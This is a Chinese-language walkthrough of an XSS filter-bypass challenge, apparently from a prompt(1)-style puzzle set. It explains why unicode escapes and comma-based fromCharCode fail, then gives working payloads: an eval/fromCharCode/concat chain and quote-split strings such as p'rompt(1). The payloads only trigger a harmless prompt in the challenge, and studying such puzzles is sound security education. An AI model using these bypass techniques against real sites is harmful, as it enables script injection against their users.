题目
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}
解题思路
题目对输入内容依次做了三段过滤:
- 使用
encodeURIComponent
做 URL 编码 - 把
prompt
换成了alert
- 过滤了所有单引号
'
虽然输入内容直接在 <script>
里面,但是要把 prompt
成功写入的方法似乎都失效了。
因为除了 a-z
、 A-Z
、0-9
、 .
、 (
、 )
、 !
、 ~
、 *
这些字符,其他都几乎被过滤了。
我最开始想到,JS 解析器在解析标识符名称时(如函数名、属性名)等,若遇到 Unicode 会直接进行解码,并使得标识符依旧生效。于是构造了这个 payload \u0070\u0072\u006f\u006d\u0070\u0074(1)
绕过 replace
以在前端直接构造 prompt(1)
, 但是 \
被 encodeURIComponent
转码成了 %5C
,失败。。
后来又想到 eval
函数,于是构造这个 payload eval(String.fromCharCode(112,114,111,109,112,116,40,49,41))
期望可以绕过 replace
逐字符构造 prompt(1)
,但是 ,
被 encodeURIComponent
转码成了 %2C
,还是失败。。
不过转念一想,既然不能用逗号 ,
拼接字符,那么直接用 concat
函数就可以了。
于是重新构造 payload 如下,完成挑战:
eval(String.fromCharCode(112).concat(String.fromCharCode(114)).concat(String.fromCharCode(111)).concat(String.fromCharCode(109)).concat(String.fromCharCode(112)).concat(String.fromCharCode(116)).concat(String.fromCharCode(40)).concat(String.fromCharCode(49)).concat(String.fromCharCode(41)))
其实这题想多了反而复杂,有一个更简单的方法是 利用题目自身的逻辑过滤去绕过。
题目首先把 prompt
替换成 alert
, 然后又把单引号 '
替换成空。
那么其实只需要把单引号 '
插到 prompt
中间的任意位置就可以绕过所有过滤了。。。
所以这些 payload 都是可以完成挑战的:
p'rompt(1)
pr'ompt(1)
pro'mpt(1)
prom'pt(1)
promp't(1)
p'r'o'm'p't(1)
因为这些字符本身属于保留字符,不会被 encodeURIComponent
编码;其次 prompt
中间有单引号 '
的时候,也不满足 replace
的条件;最后题目还很贴心地帮我们把所有单引号 '
删掉了,,,,所以有时其实真是我们想太多了。。。(╯°□°)╯︵ ┻━┻